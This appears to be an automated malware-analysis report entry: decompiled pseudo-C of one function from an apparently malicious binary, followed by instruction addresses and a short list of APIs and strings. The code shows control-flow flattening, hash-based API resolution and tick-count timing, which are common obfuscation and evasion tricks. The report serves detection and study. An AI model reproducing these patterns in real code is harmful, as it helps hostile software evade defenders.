Function 003F65E0, Relevance: 12.9, APIs: 2, Strings: 5, Instructions: 647
COMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E003F65E0() {
				intOrPtr _v8;
				char _v16;
				char _v24;
				intOrPtr _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v48;
				char _v76;
				signed int _v80;
				char _v88;
				char _v96;
				char _v100;
				char _v104;
				char _v112;
				signed int _v116;
				unsigned int _v120;
				signed int _v124;
				signed int _v128;
				void* __ebx;
				void* __ebp;
				intOrPtr _t205;
				signed int _t207;
				signed int _t211;
				void* _t221;
				void* _t228;
				signed int _t237;
				signed int _t239;
				void* _t241;
				void* _t242;
				signed int _t246;
				signed int _t254;
				signed int _t261;
				void* _t263;
				signed int _t265;
				signed int _t266;
				char* _t267;
				intOrPtr* _t268;
				void* _t273;
				intOrPtr _t275;
				void* _t276;
				signed int _t277;
				void* _t278;
				void* _t279;
				void* _t280;
				void* _t283;
				signed int _t291;
				signed int _t296;
				signed int _t299;
				void* _t301;
				void* _t302;
				intOrPtr* _t303;
				void* _t304;
				intOrPtr* _t307;
				signed int _t308;
				void* _t309;
				void* _t310;
				void* _t313;
				void* _t314;
				intOrPtr* _t315;
				void* _t316;
				intOrPtr* _t319;
				signed int _t320;
				void* _t321;
				signed int _t327;
				signed int _t335;
				intOrPtr _t344;
				intOrPtr _t360;
				signed int _t383;
				unsigned int _t388;
				unsigned int _t392;
				signed int _t413;
				signed int _t418;
				void* _t426;
				void* _t429;
				signed int _t433;
				signed int _t435;
				signed int _t438;
				void* _t442;
				unsigned int _t446;
				signed int _t451;
				void* _t453;
				void* _t454;
				void* _t456;
				void* _t457;
				void* _t458;
				void* _t459;

				_t453 = (_t451 & 0xfffffff8) - 0x80;
				_t327 = _v124;
				_t204 = 0x10e9bb52;
				_t446 = _v120;
				while(1) {
					L1:
					_t413 = _v116;
					while(1) {
						L2:
						_t426 = 0x3251fefe;
						do {
							while(1) {
								L3:
								_t456 = _t204 - 0x1bc488ca;
								if(_t456 > 0) {
									break;
								}
								if(_t456 == 0) {
									_t254 = E003F94D0();
									asm("sbb eax, eax");
									_t204 = ( ~_t254 & 0x12be9560) + 0x15f108c5;
									continue;
								} else {
									_t457 = _t204 - 0xc403738;
									if(_t457 > 0) {
										__eflags = _t204 - 0x15f108c5;
										if(__eflags > 0) {
											__eflags = _t204 - 0x1ba0f19f;
											if(__eflags > 0) {
												__eflags = _t204 - 0x1ba655e5;
												if(_t204 != 0x1ba655e5) {
													goto L44;
												} else {
													_v28 = E003F5FF0();
													_t204 = 0x1a1794c0;
													continue;
												}
											} else {
												if(__eflags == 0) {
													_t204 = 0x1cd4381f;
													continue;
												} else {
													__eflags = _t204 - 0x1a1794c0;
													if(_t204 == 0x1a1794c0) {
														E003F61E0( &_v24);
														_t204 = 0x34aece17;
														continue;
													} else {
														__eflags = _t204 - 0x1b363693;
														if(_t204 != 0x1b363693) {
															goto L44;
														} else {
															E003F4220(_t327, _v16);
															_t204 = 0x2ff16e51;
															continue;
														}
													}
												}
											}
										} else {
											if(__eflags == 0) {
												E003F9F30(_t327);
												_t261 =  *0x3fe28c; // 0x0
												_t413 = 0x1ba0f19f;
												_v116 = 0x1ba0f19f;
												__eflags = _t261;
												if(_t261 == 0) {
													_t263 = E003F3F00(0x9bab0b12);
													_t392 = 0xb90a6ccf;
													_t261 = E003F3E60(_t327, _t263, 0xb90a6ccf, _t446);
													 *0x3fe28c = _t261;
												}
												_t327 =  *_t261();
												_t446 = _t392;
												_t204 = 0xc403738;
												continue;
											} else {
												__eflags = _t204 - 0x10d6bdbf;
												if(__eflags > 0) {
													__eflags = _t204 - 0x10e9bb52;
													if(_t204 != 0x10e9bb52) {
														goto L44;
													} else {
														_t204 = 0x2e428786;
														continue;
													}
												} else {
													if(__eflags == 0) {
														E003F86E0();
														_t204 = 0xd118b9c;
														continue;
													} else {
														__eflags = _t204 - 0xd118b9c;
														if(_t204 == 0xd118b9c) {
															_t265 = E003FB430( &_v88, _t446);
															__eflags = _t265;
															if(_t265 != 0) {
																asm("xorps xmm0, xmm0");
																_t413 = 0x1a1794c0;
																asm("movlpd [esp+0x18], xmm0");
																_t446 = _v120;
																_t327 = _v124;
																_v116 = 0x1a1794c0;
															}
															goto L72;
														} else {
															__eflags = _t204 - 0xf3a9fea;
															if(_t204 != 0xf3a9fea) {
																goto L44;
															} else {
																_t266 = E003F6060( &_v76, _t392, _t446);
																__eflags = _t266;
																if(_t266 == 0) {
																	_t204 = 0x32f9862d;
																} else {
																	_t267 =  &_v76;
																	_t392 = 0x24b1f8c4;
																	_v48 = _t267;
																	_t268 = E003F4160(_t327, 0x9bab0b12, 0x24b1f8c4, _t446, 0x218);
																	_t453 = _t453 + 4;
																	_v48 =  *_t268(_t267);
																	_t204 = 0x39301ec9;
																}
																continue;
															}
														}
													}
												}
											}
										}
									} else {
										if(_t457 == 0) {
											__eflags = _t327 | _t446;
											if((_t327 | _t446) != 0) {
												_v124 = 0xcb73;
												_v124 = _v124 ^ 0x0a3afb83;
												_v124 = _v124 >> 0xe;
												_v124 = _v124 << 0xf;
												_v124 = _v124 * 0x63;
												_v124 = _v124 ^ 0xe8dc00a0;
												_t273 = E003F5D10();
												__eflags = _t273 - _v124;
												if(_t273 <= _v124) {
													_t388 = 0;
													__eflags = 0;
												} else {
													__eflags =  *0x3fde08;
													if( *0x3fde08 == 0) {
														 *0x3fde08 = E003F3E60(_t327, E003F3F00(0x9bab0b12), 0xd8ef4c49, _t446);
													}
													_v124 = 0xcb73;
													_v124 = _v124 ^ 0x0a3afb83;
													_v124 = _v124 >> 0xe;
													_v124 = _v124 << 0xf;
													_v124 = _v124 * 0x63;
													_v124 = _v124 ^ 0xe8dc00a0;
													_t283 = E003F5D10();
													_t388 = GetTickCount() % (_t283 - _v124);
												}
												_v124 = 0xcb73;
												_v124 = _v124 ^ 0x0a3afb83;
												_v124 = _v124 >> 0xe;
												_v124 = _v124 << 0xf;
												_v124 = _v124 * 0x63;
												_v124 = _v124 ^ 0xe8dc00a0;
												_t335 =  *0x3fdb5c;
												_t429 = _v124 + _t388;
												__eflags = _t335;
												if(_t335 == 0) {
													_t280 = E003F3F00(0x9bab0b12);
													_t388 = 0x2194248e;
													_t335 = E003F3E60(_t327, _t280, 0x2194248e, _t446);
													 *0x3fdb5c = _t335;
												}
												_t275 =  *0x3fe550; // 0x0
												_t276 =  *_t335( *((intOrPtr*)(_t275 + 0x14)), _t429);
												__eflags = _t276 - 0x102;
												if(_t276 == 0x102) {
													_t277 =  *0x3fe28c; // 0x0
													__eflags = _t277;
													if(_t277 == 0) {
														_t279 = E003F3F00(0x9bab0b12);
														_t388 = 0xb90a6ccf;
														_t277 = E003F3E60(_t327, _t279, 0xb90a6ccf, _t446);
														 *0x3fe28c = _t277;
													}
													_t278 =  *_t277();
													__eflags = _t388 - _t446;
													if(__eflags < 0) {
														L137:
														_t204 = 0xc403738;
														goto L1;
													} else {
														if(__eflags > 0) {
															L60:
															_t413 = _v124;
															_t426 = 0x3251fefe;
															_t204 = _t413;
															goto L44;
														} else {
															__eflags = _t278 - _t327;
															if(_t278 < _t327) {
																goto L137;
															} else {
																goto L60;
															}
														}
													}
												} else {
													_t204 = 0x32f9862d;
													while(1) {
														L1:
														_t413 = _v116;
														while(1) {
															L2:
															_t426 = 0x3251fefe;
															goto L3;
														}
													}
												}
											} else {
												_t204 = _t413;
												goto L44;
											}
										} else {
											_t458 = _t204 - 0x99d9f33;
											if(_t458 > 0) {
												__eflags = _t204 - 0xb7b0115;
												if(__eflags > 0) {
													__eflags = _t204 - 0xc039e9a;
													if(_t204 != 0xc039e9a) {
														goto L44;
													} else {
														E003F8700(_t327);
														_t204 = 0x28af9e25;
														continue;
													}
												} else {
													if(__eflags == 0) {
														E003F7120(_t327);
														_t204 = 0x3697b389;
														continue;
													} else {
														__eflags = _t204 - 0xb253d66;
														if(_t204 == 0xb253d66) {
															E003F4220(_t327, _v112);
															_t204 = 0x50dcbff;
															continue;
														} else {
															__eflags = _t204 - 0xb765cf9;
															if(_t204 != 0xb765cf9) {
																goto L44;
															} else {
																_t291 = E003F8400(_t327, _t446);
																_t344 =  *0x3fe54c; // 0x55f0b0
																__eflags = _t291;
																if(_t291 == 0) {
																	__eflags =  *(_t344 + 0x220);
																	_t204 =  !=  ? 0x2200eb3b : 0x2e7e0c52;
																} else {
																	__eflags =  *(_t344 + 0x220);
																	_t204 =  !=  ? 0x1bc488ca : 0x15f108c5;
																}
																continue;
															}
														}
													}
												}
											} else {
												if(_t458 == 0) {
													_v124 = 0xe61e;
													_v124 = _v124 >> 2;
													_v124 = _v124 ^ 0x01340267;
													_v32 = _v124;
													_t204 = 0x1ba655e5;
													continue;
												} else {
													_t459 = _t204 - 0x4d162d3;
													if(_t459 > 0) {
														__eflags = _t204 - 0x50dcbff;
														if(_t204 == 0x50dcbff) {
															E003F4220(_t327, _v96);
															_t204 = 0x1b363693;
															continue;
														} else {
															__eflags = _t204 - 0x62c3963;
															if(_t204 != 0x62c3963) {
																goto L44;
															} else {
																_t392 =  &_v88;
																_t296 = E003F7650( &_v112, _t392);
																__eflags = _t296;
																if(_t296 == 0) {
																	L72:
																	_t204 = 0xb253d66;
																} else {
																	E003FAFE0(0);
																	_t383 = _v80;
																	_t204 = 0x10d6bdbf;
																	__eflags = _t383;
																	if(_t383 != 0) {
																		__eflags = _t383 - 7;
																		_t204 =  ==  ? _t426 : 0x10d6bdbf;
																	}
																}
																continue;
															}
														}
													} else {
														if(_t459 == 0) {
															_v116 = 0x4b49;
															_v116 = _v116 << 0x10;
															_v116 = _v116 ^ 0x4b490001;
															_t299 = E003F12B0(_v116,  &_v96,  &_v112);
															_t454 = _t453 + 4;
															__eflags = _t299;
															if(_t299 == 0) {
																E003F1290();
																_t413 = 0x1a1794c0;
																_v116 = 0x1a1794c0;
																_t301 = E003F5DA0();
																_t302 = E003F5E00();
																__eflags = _t301 - _t302;
																if(_t301 <= _t302) {
																	_t433 = 0;
																	__eflags = 0;
																} else {
																	_t307 = E003F4160(_t327, 0x9bab0b12, 0xd8ef4c49, _t446, 0xca);
																	_t454 = _t454 + 4;
																	_t308 =  *_t307();
																	_t309 = E003F5DA0();
																	_t310 = E003F5E00();
																	_t413 = _v116;
																	_t433 = _t308 % (_t309 - _t310);
																}
																_t392 = 0xb90a6ccf;
																_t303 = E003F4160(_t327, 0x9bab0b12, 0xb90a6ccf, _t446, 0x1eb);
																_t453 = _t454 + 4;
																_t304 =  *_t303();
																_t446 = 0xb90a6ccf;
																_t327 = _t304 + E003F5E00() + _t433;
																_t204 = 0x50dcbff;
																asm("adc ebp, 0x0");
															} else {
																_t413 = 0x1a1794c0;
																_v116 = 0x1a1794c0;
																_t313 = E003F5E80();
																_t314 = E003F5E50();
																__eflags = _t314 - _t313;
																if(_t314 <= _t313) {
																	_t435 = 0;
																	__eflags = 0;
																} else {
																	_t319 = E003F4160(_t327, 0x9bab0b12, 0xd8ef4c49, _t446, 0xca);
																	_t454 = _t454 + 4;
																	_t320 =  *_t319();
																	_t321 = E003F5E80();
																	_t435 = _t320 % (E003F5E50() - _t321);
																}
																_t392 = 0xb90a6ccf;
																_t315 = E003F4160(_t327, 0x9bab0b12, 0xb90a6ccf, _t446, 0x1eb);
																_t453 = _t454 + 4;
																_t316 =  *_t315();
																_t446 = 0xb90a6ccf;
																_t327 = _t316 + E003F5E80() + _t435;
																_t204 = 0x62c3963;
																asm("adc ebp, 0x0");
															}
															while(1) {
																L2:
																_t426 = 0x3251fefe;
																goto L3;
															}
														} else {
															if(_t204 == 0x1b08adb) {
																_t204 = 0x3355994e;
																continue;
															} else {
																if(_t204 != 0x2609a3b) {
																	goto L44;
																} else {
																	E003F9620(_t446);
																	_t204 = 0x28a63df9;
																	continue;
																}
															}
														}
													}
												}
											}
										}
									}
								}
								L150:
							}
							__eflags = _t204 - 0x2ff16e51;
							if(__eflags > 0) {
								__eflags = _t204 - 0x3355994e;
								if(__eflags > 0) {
									__eflags = _t204 - 0x37e57243;
									if(__eflags > 0) {
										__eflags = _t204 - 0x39301ec9;
										if(_t204 != 0x39301ec9) {
											goto L44;
										} else {
											_t205 =  *0x3fe54c; // 0x55f0b0
											_t202 = _t205 + 0x46c; // 0x20abfa8f
											_v8 =  *_t202;
											_t204 = 0x22e7b396;
											goto L3;
										}
									} else {
										if(__eflags == 0) {
											_t392 =  &_v96;
											_t207 = E003F7410( &_v48, _t392);
											asm("sbb eax, eax");
											_t204 = ( ~_t207 & 0xe99b2c40) + 0x1b363693;
											goto L3;
										} else {
											__eflags = _t204 - 0x34aece17;
											if(_t204 == 0x34aece17) {
												E003FB1D0( &_v16);
												_t204 = 0x37e57243;
												goto L3;
											} else {
												__eflags = _t204 - 0x3697b389;
												if(_t204 != 0x3697b389) {
													goto L44;
												} else {
													_t211 = E003F9860();
													__eflags = _t211;
													if(_t211 == 0) {
														goto L128;
													} else {
														_t204 = 0x26a7c4f3;
														goto L3;
													}
												}
											}
										}
									}
								} else {
									if(__eflags == 0) {
										_v124 = 0x96c3;
										_v124 = _v124 + 0x17b8;
										_v116 = 0xf3a9fea;
										_v124 = 0x8d3dcb09 * _v124 >> 0x20 >> 4;
										_v124 = _v124 + 0xffff1bdc;
										_v124 = _v124 + 0x2513;
										_v124 = _v124 * 0x64;
										_v124 = _v124 + 0x37c0;
										_v124 = _v124 + 0xffff909a;
										_v124 = (_v124 << 6) - _v124;
										_v124 = _v124 ^ 0xee286cba;
										_v128 = 0x39e7;
										_v128 = _v128 | 0x1ba4dd87;
										_v128 = _v128 + 0x949;
										_v128 = 0x38e38e39 * _v128 >> 0x20 >> 4;
										_v128 = _v128 ^ 0x47e6e439;
										_v128 = _v128 ^ 0x2b9fcd36;
										_v128 = _v128 >> 7;
										_v128 = _v128 << 0xa;
										_v128 = _v128 + 0xded3;
										_v128 = _v128 ^ 0x60dbe593;
										__eflags = _v124 - _v128;
										if(_v124 <= _v128) {
											_t418 = 0;
											__eflags = 0;
										} else {
											__eflags =  *0x3fde08;
											if( *0x3fde08 == 0) {
												 *0x3fde08 = E003F3E60(_t327, E003F3F00(0x9bab0b12), 0xd8ef4c49, _t446);
											}
											_v124 = 0x39e7;
											_v124 = _v124 | 0x1ba4dd87;
											_v124 = _v124 + 0x949;
											_v124 = 0x38e38e39 * _v124 >> 0x20 >> 4;
											_v124 = _v124 ^ 0x47e6e439;
											_v124 = _v124 ^ 0x2b9fcd36;
											_v124 = _v124 >> 7;
											_v124 = _v124 << 0xa;
											_v124 = _v124 + 0xded3;
											_v124 = _v124 ^ 0x60dbe593;
											_t228 = E003F5EE0();
											_t418 = GetTickCount() % (_t228 - _v124);
										}
										_t438 =  *0x3fe28c; // 0x0
										__eflags = _t438;
										if(_t438 == 0) {
											_t438 = E003F3E60(_t327, E003F3F00(0x9bab0b12), 0xb90a6ccf, _t446);
											 *0x3fe28c = _t438;
										}
										_v124 = 0x39e7;
										_v124 = _v124 | 0x1ba4dd87;
										_v124 = _v124 + 0x949;
										_t392 = 0x38e38e39 * _v124 >> 0x20 >> 4;
										_v124 = _t392;
										_v124 = _v124 ^ 0x47e6e439;
										_v124 = _v124 ^ 0x2b9fcd36;
										_v124 = _v124 >> 7;
										_v124 = _v124 << 0xa;
										_v124 = _v124 + 0xded3;
										_v124 = _v124 ^ 0x60dbe593;
										_t221 =  *_t438();
										_t446 = _t392;
										_t327 = _t221 + _v124 + _t418;
										asm("adc ebp, 0x0");
										goto L137;
									} else {
										__eflags = _t204 - 0x3251fefe;
										if(__eflags > 0) {
											__eflags = _t204 - 0x32f9862d;
											if(_t204 != 0x32f9862d) {
												goto L44;
											} else {
												_t211 = E003FB2E0();
												goto L128;
											}
										} else {
											if(__eflags == 0) {
												return E003F8740(_t392, _t446);
											} else {
												__eflags = _t204 - 0x31c22ee5;
												if(_t204 == 0x31c22ee5) {
													E003F80A0(_t392);
													_t360 =  *0x3fe54c; // 0x55f0b0
													__eflags =  *(_t360 + 0x220);
													_t204 =  !=  ? 0x2b2ba899 : 0xc039e9a;
													goto L3;
												} else {
													__eflags = _t204 - 0x320a2fc0;
													if(_t204 != 0x320a2fc0) {
														goto L44;
													} else {
														_v36 = E003F4770(_t327, _t446);
														_t204 = 0x99d9f33;
														goto L3;
													}
												}
											}
										}
									}
								}
							} else {
								if(__eflags == 0) {
									_t237 =  *0x3fe494;
									__eflags = _t237;
									if(_t237 == 0) {
										_t242 = E003F3F00(0x9bab0b12);
										_t392 = 0x7facde30;
										_t237 = E003F3E60(_t327, _t242, 0x7facde30, _t446);
										 *0x3fe494 = _t237;
									}
									_t442 =  *_t237();
									_t239 =  *0x3fdf30;
									__eflags = _t239;
									if(_t239 == 0) {
										_t241 = E003F3F00(0x9bab0b12);
										_t392 = 0x5010a54d;
										_t239 = E003F3E60(_t327, _t241, 0x5010a54d, _t446);
										 *0x3fdf30 = _t239;
									}
									 *_t239(_t442, 0, _v24);
									_t204 = 0xc403738;
									goto L2;
								} else {
									__eflags = _t204 - 0x28a63df9;
									if(__eflags > 0) {
										__eflags = _t204 - 0x2e428786;
										if(__eflags > 0) {
											__eflags = _t204 - 0x2e7e0c52;
											if(_t204 != 0x2e7e0c52) {
												goto L44;
											} else {
												E003F9050();
												_t204 = 0x2609a3b;
												goto L3;
											}
										} else {
											if(__eflags == 0) {
												_t211 = E003F72D0(_t327);
												__eflags = _t211;
												if(_t211 == 0) {
													goto L128;
												} else {
													_t204 = 0xb7b0115;
													goto L3;
												}
											} else {
												__eflags = _t204 - 0x28af9e25;
												if(_t204 == 0x28af9e25) {
													return E003F8D40(_t446);
												} else {
													__eflags = _t204 - 0x2b2ba899;
													if(_t204 != 0x2b2ba899) {
														goto L44;
													} else {
														E003F8970();
														_t204 = 0xc039e9a;
														goto L3;
													}
												}
											}
										}
									} else {
										if(__eflags == 0) {
											_t211 = E003F8BB0();
											__eflags = _t211;
											if(_t211 == 0) {
												L128:
												return _t211;
											} else {
												_t204 = 0x31c22ee5;
												goto L3;
											}
										} else {
											__eflags = _t204 - 0x22e7b396;
											if(__eflags > 0) {
												__eflags = _t204 - 0x26a7c4f3;
												if(_t204 != 0x26a7c4f3) {
													goto L44;
												} else {
													_t246 = E003F9270();
													asm("sbb eax, eax");
													_t204 = ( ~_t246 & 0xf6ea3d42) + 0xb765cf9;
													goto L3;
												}
											} else {
												if(__eflags == 0) {
													_v40 = E003F53D0(_t327, _t446);
													_t204 = 0x320a2fc0;
													goto L3;
												} else {
													__eflags = _t204 - 0x1cd4381f;
													if(_t204 == 0x1cd4381f) {
														_t392 =  &_v100;
														_v104 = E003F3310(0x3fd320, _t392);
														E003F1840( &_v104);
														E003F3460(_t250);
														_t204 = 0x1b08adb;
														L2:
														_t426 = 0x3251fefe;
														goto L3;
													} else {
														__eflags = _t204 - 0x2200eb3b;
														if(_t204 != 0x2200eb3b) {
															goto L44;
														} else {
															E003F8E80();
															_t204 = 0x2e7e0c52;
															goto L3;
														}
													}
												}
											}
										}
									}
								}
							}
							goto L150;
							L44:
							__eflags = _t204 - 0x293c010e;
						} while (_t204 != 0x293c010e);
						return _t204;
						goto L150;
					}
				}
			}

0x003f65e6
0x003f65ed
0x003f65f1
0x003f65f7
0x003f65fd
0x003f65fd
0x003f65fd
0x003f6601
0x003f6601
0x003f6601
0x003f6610
0x003f6610
0x003f6610
0x003f6610
0x003f6615
0x00000000
0x00000000
0x003f661b
0x003f6bc2
0x003f6bc9
0x003f6bd0
0x00000000
0x003f6621
0x003f6621
0x003f6626
0x003f6a44
0x003f6a49
0x003f6b56
0x003f6b5b
0x003f6ba4
0x003f6ba9
0x00000000
0x003f6baf
0x003f6bb4
0x003f6bb8
0x00000000
0x003f6bb8
0x003f6b5d
0x003f6b5d
0x003f6b9a
0x00000000
0x003f6b5f
0x003f6b5f
0x003f6b64
0x003f6b8b
0x003f6b90
0x00000000
0x003f6b66
0x003f6b66
0x003f6b6b
0x00000000
0x003f6b71
0x003f6b78
0x003f6b7d
0x00000000
0x003f6b7d
0x003f6b6b
0x003f6b64
0x003f6b5d
0x003f6a4f
0x003f6a4f
0x003f6b14
0x003f6b19
0x003f6b1e
0x003f6b23
0x003f6b27
0x003f6b29
0x003f6b30
0x003f6b35
0x003f6b3c
0x003f6b41
0x003f6b41
0x003f6b48
0x003f6b4a
0x003f6b4c
0x00000000
0x003f6a55
0x003f6a55
0x003f6a5a
0x003f6aff
0x003f6b04
0x00000000
0x003f6b0a
0x003f6b0a
0x00000000
0x003f6b0a
0x003f6a60
0x003f6a60
0x003f6af0
0x003f6af5
0x00000000
0x003f6a66
0x003f6a66
0x003f6a6b
0x003f6ac3
0x003f6ac8
0x003f6aca
0x003f6acc
0x003f6acf
0x003f6ad4
0x003f6ada
0x003f6ade
0x003f6ae2
0x003f6ae2
0x00000000
0x003f6a6d
0x003f6a6d
0x003f6a72
0x00000000
0x003f6a78
0x003f6a7c
0x003f6a81
0x003f6a83
0x003f6ab5
0x003f6a85
0x003f6a85
0x003f6a89
0x003f6a99
0x003f6a9d
0x003f6aa2
0x003f6aa7
0x003f6aab
0x003f6aab
0x00000000
0x003f6a83
0x003f6a72
0x003f6a6b
0x003f6a60
0x003f6a5a
0x003f6a4f
0x003f662c
0x003f662c
0x003f68ce
0x003f68d0
0x003f68e7
0x003f68ef
0x003f68f7
0x003f68fc
0x003f6906
0x003f690a
0x003f6912
0x003f6917
0x003f691b
0x003f6985
0x003f6985
0x003f691d
0x003f6923
0x003f6925
0x003f693f
0x003f693f
0x003f6945
0x003f694d
0x003f6955
0x003f695a
0x003f6964
0x003f6968
0x003f6970
0x003f6981
0x003f6981
0x003f6987
0x003f698f
0x003f6997
0x003f699c
0x003f69a6
0x003f69aa
0x003f69b6
0x003f69bc
0x003f69be
0x003f69c0
0x003f69c7
0x003f69cc
0x003f69d8
0x003f69da
0x003f69da
0x003f69e0
0x003f69e9
0x003f69eb
0x003f69f0
0x003f69fc
0x003f6a01
0x003f6a03
0x003f6a0a
0x003f6a0f
0x003f6a16
0x003f6a1b
0x003f6a1b
0x003f6a20
0x003f6a22
0x003f6a24
0x003f6fc8
0x003f6fc8
0x00000000
0x003f6a2a
0x003f6a2a
0x003f6a34
0x003f6a34
0x003f6a38
0x003f6a3d
0x00000000
0x003f6a2c
0x003f6a2c
0x003f6a2e
0x00000000
0x00000000
0x00000000
0x00000000
0x003f6a2e
0x003f6a2a
0x003f69f2
0x003f69f2
0x003f65fd
0x003f65fd
0x003f65fd
0x003f6601
0x003f6601
0x003f6601
0x00000000
0x003f6606
0x003f6601
0x003f65fd
0x003f68d2
0x003f68d2
0x00000000
0x003f68d2
0x003f6632
0x003f6632
0x003f6637
0x003f6838
0x003f683d
0x003f68b6
0x003f68bb
0x00000000
0x003f68bd
0x003f68bd
0x003f68c2
0x00000000
0x003f68c2
0x003f683f
0x003f683f
0x003f68a7
0x003f68ac
0x00000000
0x003f6841
0x003f6841
0x003f6846
0x003f6898
0x003f689d
0x00000000
0x003f6848
0x003f6848
0x003f684d
0x00000000
0x003f6853
0x003f6853
0x003f6858
0x003f685e
0x003f6860
0x003f687b
0x003f688c
0x003f6862
0x003f6862
0x003f6873
0x003f6873
0x00000000
0x003f6860
0x003f684d
0x003f6846
0x003f683f
0x003f663d
0x003f663d
0x003f6811
0x003f6819
0x003f681e
0x003f682a
0x003f682e
0x00000000
0x003f6643
0x003f6643
0x003f6648
0x003f67b4
0x003f67b9
0x003f6802
0x003f6807
0x00000000
0x003f67bb
0x003f67bb
0x003f67c0
0x00000000
0x003f67c6
0x003f67c6
0x003f67ce
0x003f67d3
0x003f67d5
0x003f6ae6
0x003f6ae6
0x003f67db
0x003f67dd
0x003f67e2
0x003f67e6
0x003f67eb
0x003f67ed
0x003f67f3
0x003f67f6
0x003f67f6
0x003f67ed
0x00000000
0x003f67d5
0x003f67c0
0x003f664e
0x003f664e
0x003f6675
0x003f6681
0x003f668a
0x003f6697
0x003f669c
0x003f669f
0x003f66a1
0x003f672a
0x003f672f
0x003f6734
0x003f6738
0x003f673f
0x003f6744
0x003f6746
0x003f677f
0x003f677f
0x003f6748
0x003f6757
0x003f675c
0x003f675f
0x003f6763
0x003f676a
0x003f6777
0x003f677b
0x003f677b
0x003f6786
0x003f6790
0x003f6795
0x003f6798
0x003f679c
0x003f67a5
0x003f67a7
0x003f67ac
0x003f66a7
0x003f66a7
0x003f66ac
0x003f66b0
0x003f66b7
0x003f66bc
0x003f66be
0x003f66f5
0x003f66f5
0x003f66c0
0x003f66cf
0x003f66d4
0x003f66d7
0x003f66db
0x003f66f1
0x003f66f1
0x003f66fc
0x003f6706
0x003f670b
0x003f670e
0x003f6712
0x003f671b
0x003f671d
0x003f6722
0x003f6722
0x003f6601
0x003f6601
0x003f6601
0x00000000
0x003f6601
0x003f6650
0x003f6655
0x003f666e
0x00000000
0x003f6657
0x003f665c
0x00000000
0x003f6662
0x003f6662
0x003f6667
0x00000000
0x003f6667
0x003f665c
0x003f6655
0x003f664e
0x003f6648
0x003f663d
0x003f6637
0x003f662c
0x003f6626
0x00000000
0x003f661b
0x003f6bda
0x003f6bdf
0x003f6d5f
0x003f6d64
0x003f6fd2
0x003f6fd7
0x003f703a
0x003f703f
0x00000000
0x003f7045
0x003f7045
0x003f704a
0x003f7050
0x003f7057
0x00000000
0x003f7057
0x003f6fd9
0x003f6fd9
0x003f701a
0x003f7022
0x003f7029
0x003f7030
0x00000000
0x003f6fdb
0x003f6fdb
0x003f6fe0
0x003f700b
0x003f7010
0x00000000
0x003f6fe2
0x003f6fe2
0x003f6fe7
0x00000000
0x003f6fed
0x003f6fed
0x003f6ff2
0x003f6ff4
0x00000000
0x003f6ffa
0x003f6ffa
0x00000000
0x003f6ffa
0x003f6ff4
0x003f6fe7
0x003f6fe0
0x003f6fd9
0x003f6d6a
0x003f6d6a
0x003f6dda
0x003f6de7
0x003f6df5
0x003f6e00
0x003f6e04
0x003f6e0c
0x003f6e19
0x003f6e1d
0x003f6e25
0x003f6e3d
0x003f6e41
0x003f6e49
0x003f6e51
0x003f6e59
0x003f6e6a
0x003f6e6e
0x003f6e76
0x003f6e7e
0x003f6e83
0x003f6e88
0x003f6e90
0x003f6e9c
0x003f6ea0
0x003f6f39
0x003f6f39
0x003f6ea6
0x003f6eac
0x003f6eae
0x003f6ec8
0x003f6ec8
0x003f6ece
0x003f6edb
0x003f6ee3
0x003f6ef4
0x003f6ef8
0x003f6f00
0x003f6f08
0x003f6f0d
0x003f6f12
0x003f6f1a
0x003f6f22
0x003f6f35
0x003f6f35
0x003f6f3b
0x003f6f41
0x003f6f43
0x003f6f5b
0x003f6f5d
0x003f6f5d
0x003f6f63
0x003f6f70
0x003f6f78
0x003f6f86
0x003f6f89
0x003f6f8d
0x003f6f95
0x003f6f9d
0x003f6fa2
0x003f6fa7
0x003f6faf
0x003f6fb7
0x003f6fbb
0x003f6fc3
0x003f6fc5
0x00000000
0x003f6d6c
0x003f6d6c
0x003f6d71
0x003f6dc2
0x003f6dc7
0x00000000
0x003f6dcd
0x003f6dcd
0x00000000
0x003f6dcd
0x003f6d73
0x003f6d73
0x003f707a
0x003f6d79
0x003f6d79
0x003f6d7e
0x003f6d9e
0x003f6da3
0x003f6dae
0x003f6dba
0x00000000
0x003f6d80
0x003f6d80
0x003f6d85
0x00000000
0x003f6d8b
0x003f6d90
0x003f6d94
0x00000000
0x003f6d94
0x003f6d85
0x003f6d7e
0x003f6d73
0x003f6d71
0x003f6d6a
0x003f6be5
0x003f6be5
0x003f6d00
0x003f6d05
0x003f6d07
0x003f6d0e
0x003f6d13
0x003f6d1a
0x003f6d1f
0x003f6d1f
0x003f6d26
0x003f6d28
0x003f6d2d
0x003f6d2f
0x003f6d36
0x003f6d3b
0x003f6d42
0x003f6d47
0x003f6d47
0x003f6d53
0x003f6d55
0x00000000
0x003f6beb
0x003f6beb
0x003f6bf0
0x003f6ca1
0x003f6ca6
0x003f6ce6
0x003f6ceb
0x00000000
0x003f6cf1
0x003f6cf1
0x003f6cf6
0x00000000
0x003f6cf6
0x003f6ca8
0x003f6ca8
0x003f6ccf
0x003f6cd4
0x003f6cd6
0x00000000
0x003f6cdc
0x003f6cdc
0x00000000
0x003f6cdc
0x003f6caa
0x003f6caa
0x003f6caf
0x003f706d
0x003f6cb5
0x003f6cb5
0x003f6cba
0x00000000
0x003f6cc0
0x003f6cc0
0x003f6cc5
0x00000000
0x003f6cc5
0x003f6cba
0x003f6caf
0x003f6ca8
0x003f6bf6
0x003f6bf6
0x003f6c8a
0x003f6c8f
0x003f6c91
0x003f6dd2
0x003f6dd9
0x003f6c97
0x003f6c97
0x00000000
0x003f6c97
0x003f6bfc
0x003f6bfc
0x003f6c01
0x003f6c67
0x003f6c6c
0x00000000
0x003f6c72
0x003f6c72
0x003f6c79
0x003f6c80
0x00000000
0x003f6c80
0x003f6c03
0x003f6c03
0x003f6c59
0x003f6c5d
0x00000000
0x003f6c05
0x003f6c05
0x003f6c0a
0x003f6c26
0x003f6c3a
0x003f6c3e
0x003f6c45
0x003f6c4a
0x003f6601
0x003f6601
0x00000000
0x003f6c0c
0x003f6c0c
0x003f6c11
0x00000000
0x003f6c17
0x003f6c17
0x003f6c1c
0x00000000
0x003f6c1c
0x003f6c11
0x003f6c0a
0x003f6c03
0x003f6c01
0x003f6bf6
0x003f6bf0
0x003f6be5
0x00000000
0x003f68d4
0x003f68d4
0x003f68d4
0x003f68e6
0x00000000
0x003f68e6
0x003f6601

APIs

GetTickCount.KERNEL32 ref: 003F697D
GetTickCount.KERNEL32 ref: 003F6F2F

Strings

Cr7, xrefs: 003F6FD2
Cr7, xrefs: 003F7010
9G, xrefs: 003F6F8D
